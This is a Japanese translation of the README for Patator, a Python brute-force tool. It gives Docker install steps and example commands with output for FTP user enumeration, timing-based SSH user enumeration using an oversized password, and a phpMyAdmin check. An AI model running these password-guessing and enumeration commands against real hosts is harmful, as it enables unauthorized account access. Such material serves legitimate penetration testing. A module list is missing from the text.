
Patatorは、モジュール式の設計と柔軟な使用方法を備えた多目的ブルートフォーサーです。
Patatorは、パスワード推測攻撃のためにHydra、Medusa、Ncrack、Metasploitモジュール、Nmap NSEスクリプトを使用することへの不満から書かれました。私は、また別のブルートフォースツールを作成して同じ欠点を繰り返すことを避けるために、異なるアプローチを選びました。PatatorはPythonで書かれたマルチスレッドツールであり、前任者よりも信頼性が高く柔軟であることを目指しています。
現在、以下のモジュールをサポートしています:```
「Patator」という名前は[これ](https://www.youtube.com/watch?v=9sF9fTALhVA)に由来します。
Patator はスクリプトキディ向けではありません。報告する前に、以下、[DeepWiki](https://deepwiki.com/lanjelot/patator) と [wiki](https://github.com/lanjelot/patator/wiki) をお読みください。
このプロジェクトが気に入ったら、ぜひ寄付してください! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
どうもありがとうございます! [@lanjelot](https://twitter.com/lanjelot)
## インストール```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
vsftpd/userlist でログインを拒否されたユーザーの列挙```
$ ftp_login host=10.0.0.1 user=FILE0 0=logins.txt password=asdf -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500
19:36:06 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 19:36 AEDT
19:36:06 patator INFO -
19:36:06 patator INFO - code size time | candidate | num | mesg
19:36:06 patator INFO - -----------------------------------------------------------------------------
19:36:07 patator INFO - 230 17 0.002 | anonymous | 7 | Login successful.
19:36:07 patator INFO - 230 17 0.001 | ftp | 10 | Login successful.
19:36:08 patator INFO - 530 18 1.000 | root | 1 | Permission denied.
19:36:17 patator INFO - 530 18 1.000 | michael | 50 | Permission denied.
19:36:36 patator INFO - 530 18 1.000 | robert | 93 | Permission denied.
...`vsftpd-3.0.2-9` を `CentOS 7.0-1406` でテスト済み。
* SSH : 時間ベースのユーザー列挙```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
openssh-server 1:6.0p1-4+deb7u2 を Debian 7.8 上でテスト済み。
Payload #72 は、予期しないエラーメッセージが原因で誤検知でした:```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
phpMyAdmin 4.2.7.1 に対してテスト済み。